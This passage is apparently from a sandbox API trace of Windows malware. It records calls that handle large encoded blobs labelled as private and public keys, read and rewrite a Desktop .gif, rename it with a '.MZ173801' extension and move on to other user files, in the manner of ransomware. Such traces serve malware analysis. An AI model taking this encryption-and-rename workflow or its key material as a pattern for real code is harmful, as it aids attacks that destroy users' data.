kcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0174.756] GetCurrentThreadId () returned 0xab4 [0174.756] GetCurrentThreadId () returned 0xab4 [0174.756] GetCurrentThreadId () returned 0xab4 [0174.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0174.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0174.757] GetCurrentThreadId () returned 0xab4 [0174.757] GetCurrentThreadId () returned 0xab4 [0174.757] GetCurrentThreadId () returned 0xab4 [0174.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-BDuYPMgtElm0fIg.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\-bduypmgtelm0fig.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0174.757] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0174.757] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0174.757] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xe796 [0174.757] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0174.757] ReadFile (in: hFile=0x300, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0xe796, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19fa18*=0xe796, lpOverlapped=0x0) returned 1 [0174.759] CloseHandle (hObject=0x300) returned 1 [0174.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-BDuYPMgtElm0fIg.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\-bduypmgtelm0fig.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0174.825] WriteFile (in: hFile=0x300, lpBuffer=0x24b7e70*, nNumberOfBytesToWrite=0xe796, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b7e70*, lpNumberOfBytesWritten=0x19fa24*=0xe796, lpOverlapped=0x0) returned 1 [0174.827] CloseHandle (hObject=0x300) returned 1 [0174.865] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\-BDuYPMgtElm0fIg.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\-bduypmgtelm0fig.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\-BDuYPMgtElm0fIg.gif.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\-bduypmgtelm0fig.gif.mz173801")) returned 1 [0174.926] GetCurrentThreadId () returned 0xab4 [0174.926] GetCurrentThreadId () returned 0xab4 [0174.926] GetCurrentThreadId () returned 0xab4 [0174.926] GetCurrentThreadId () returned 0xab4 [0174.926] GetCurrentThreadId () returned 0xab4 [0174.926] GetCurrentThreadId () returned 0xab4 [0174.926] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x660c9d40, ftCreationTime.dwHighDateTime=0x1d5eb88, ftLastAccessTime.dwLowDateTime=0x9dafbc50, ftLastAccessTime.dwHighDateTime=0x1d5eb3d, ftLastWriteTime.dwLowDateTime=0x9dafbc50, ftLastWriteTime.dwHighDateTime=0x1d5eb3d, nFileSizeHigh=0x0, nFileSizeLow=0xe595, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-kGuY.rtf", cAlternateFileName="")) returned 1 [0174.926] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0174.926] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0174.926] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-kGuY.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\-kguy.rtf"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x660c9d40, ftCreationTime.dwHighDateTime=0x1d5eb88, ftLastAccessTime.dwLowDateTime=0x9dafbc50, ftLastAccessTime.dwHighDateTime=0x1d5eb3d, ftLastWriteTime.dwLowDateTime=0x9dafbc50, ftLastWriteTime.dwHighDateTime=0x1d5eb3d, nFileSizeHigh=0x0, nFileSizeLow=0xe595)) returned 1 [0174.926] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-kGuY.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\-kguy.rtf")) returned 0x20 [0174.926] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-kGuY.rtf", dwFileAttributes=0x80) returned 1 [0174.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0174.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fD